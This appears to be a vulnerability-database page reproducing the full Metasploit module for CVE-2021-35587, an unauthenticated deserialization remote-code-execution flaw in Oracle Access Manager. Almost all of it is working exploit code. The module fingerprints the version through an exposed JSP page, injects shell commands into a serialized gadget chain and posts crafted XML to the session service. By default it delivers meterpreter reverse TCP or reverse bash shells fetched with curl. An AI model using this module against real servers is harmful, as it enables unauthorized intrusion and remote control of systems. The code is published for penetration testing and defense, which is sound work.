METASPLOIT 9.8 CRITICAL

Oracle Access Manager unauthenticated Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO Agent component of...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-HTTP-ORACLE_ACCESS_MANAGER_RCE_CVE_2021_35587-
Published Aug 29, 2025 at 18:53
Modified Apr 8, 2025 at 18:54

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle Access Manager unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated deserialization of untrusted data vulnerability in the OpenSSO
Agent component of the Oracle Access Manager (OAM) product. The affected product versions are 11.1.2.3.0,
12.2.1.3.0, and 12.2.1.4.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Jang', # Original finder and technical analysis of CVE-2021-35587 (https://x.com/testanull)
'Peterjson', # Original finder of CVE-2021-35587
'Y4er', # This exploit uses a modified gadget chain from an exploit by Y4er (https://x.com/Y4er_ChaBug)
'sfewer-r7' # Metasploit module
],
'References' => [
['CVE', '2021-35587'],
# Original Analysis of the vulnerability by the original finders, Jang & Peterjson.
['URL', 'https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316'],
# Jang describes how to get a gadget chain working.
['URL', 'https://twitter.com/testanull/status/1502114473989279744'],
# This exploit uses a modified gadget chain from CVE-2020-2883, by Y4er.
['URL', 'https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java'],
# CVE-2021-35587 was patched by Oracle in Jan 2022.
['URL', 'https://www.oracle.com/security-alerts/cpujan2022.html']
],
'DisclosureDate' => '2022-01-19',
'Platform' => [ 'linux', 'unix', 'win' ],
'Arch' => [ARCH_CMD],
'Privileged' => false, # On Linux, executes as the user 'oracle'.
'Targets' => [
[
'Linux Command', {
'Platform' => [ 'linux', 'unix' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/https/x64/meterpreter_reverse_tcp',
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
[
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/https/x64/meterpreter_reverse_tcp',
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '%TEMP%'
}
}
],
# OAM can run on HP-UX, IBM AIX, and Solaris, so we have a separate Unix target for these.
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'DefaultOptions' => {
'RPORT' => 14100,
'SSL' => false,
'FETCH_COMMAND' => 'CURL',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
# By default, Oracle Access Manager is deployed on WebLogic under the path /oam/
OptString.new('TARGETURI', [ true, 'The base path to the OAM application', '/oam/'])
]
)
end

def check
detected_version = get_version

if detected_version
detected_description = "Oracle Access Manager #{detected_version}."

# According to Oracle, these 3 versions are affected.
affected_versions = [
'11.1.2.3.0',
'12.2.1.3.0',
'12.2.1.4.0'
]

affected_versions.each do |affected_version|
return CheckCode::Appears(detected_description) if detected_version == Rex::Version.new(affected_version)
end

return CheckCode::Safe(detected_description)
end

# By here we think the target is OAM, but we did not get a version number from the response body, so
# we cannot do a version based check to determine if vulnerable or safe.
CheckCode::Detected
rescue Msf::Exploit::Failed => e
return Exploit::CheckCode::Unknown(e.message)
end

def exploit
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'server', 'opensso', 'sessionservice'),
'ctype' => 'text/xml',
'data' => get_xml
)

fail_with(Failure::UnexpectedReply, 'Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
end

def get_xml
gadget_b64 = Base64.strict_encode64(get_gadget)

requester_b64 = Base64.strict_encode64("object:#{gadget_b64}")

attr_authidentifier = {
'reqid' => Rex::Text.rand_text_alphanumeric(8..32),
'requester' => requester_b64
}.to_a.shuffle.to_h

builder_authidentifier = Nokogiri::XML::Builder.new do |xml|
xml.authIdentifier(attr_authidentifier) do |xml_authidentifier|
xml_authidentifier.SessionID Rex::Text.rand_text_alphanumeric(8..32)
end
end

attr_requestset = {
'svcid' => 'session',
'reqid' => Rex::Text.rand_text_alphanumeric(8..32),
'vers' => Rex::Text.rand_text_alphanumeric(8..32)
}.to_a.shuffle.to_h

attr_request = {
'dtdid' => Rex::Text.rand_text_alphanumeric(8..32),
'sid' => Rex::Text.rand_text_alphanumeric(8..32)
}.to_a.shuffle.to_h

builder_root = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
xml.RequestSet(attr_requestset) do |xml_requestset|
xml_requestset.Request(attr_request) do |xml_request|
xml_request.cdata(builder_authidentifier.to_xml)
end
end
end

xml_data = builder_root.to_xml

vprint_status('Using XML:')
vprint_line(xml_data)

xml_data
end

def get_gadget
detected_version = get_version

gadget_file = nil

case detected_version
when Rex::Version.new('12.2.1.4.0')
gadget_file = 'gadget_12.2.1.4.0.bin'
when Rex::Version.new('12.2.1.3.0')
gadget_file = 'gadget_12.2.1.3.0.bin'
else
fail_with(Failure::NoTarget, "No suitable gadget chain for this version: #{detected_version}.")
end

# See ./data/exploits/CVE-2021-35587/gadget.java for how we generate the gadget bin files.
gadget_data = ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-35587', gadget_file))

shell_name = nil
shell_arg = nil

if (target.platform.platforms & [Msf::Module::Platform::Linux, Msf::Module::Platform::Unix]).any?
shell_name = '/bin/sh'
shell_arg = '-c'
elsif target.platform.platforms.include? Msf::Module::Platform::Windows
shell_name = 'cmd.exe'
shell_arg = '/C'
else
fail_with(Failure::BadConfig, "No gadget shell support for target #{target['Platform']}.")
end

{
'EXEC_ARG0' => shell_name,
'EXEC_ARG1' => shell_arg,
'EXEC_ARG2' => payload.encoded
}.each do |key, value|
gadget_data.gsub!(
[key.length].pack('n') + key,
[value.length].pack('n') + value
)
end

vprint_status("Using gadget (#{gadget_file}):")
vprint_line(Rex::Text.to_hex_dump(gadget_data))

gadget_data
end

def get_version
# This unauthenticated endpoint will conveniently report the OAM product version number.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pages', 'impconsent.jsp')
)

fail_with(Failure::UnexpectedReply, 'Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

# We expect a response to have one or both of these HTTP headers.
unless res.headers.key?('X-ORACLE-DMS-RID') || res.headers.key?('X-ORACLE-DMS-ECID')
fail_with(Failure::UnexpectedReply, 'No X-ORACLE-DMS-RID or X-ORACLE-DMS-ECID HTTP header seen')
end

unless res.body =~ /Oracle Access Management Version: (\d+\.\d+\.\d+\.\d+\.\d+)/
fail_with(Failure::UnexpectedReply, 'Unable to determine target version')
end

Rex::Version.new(Regexp.last_match(1))
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.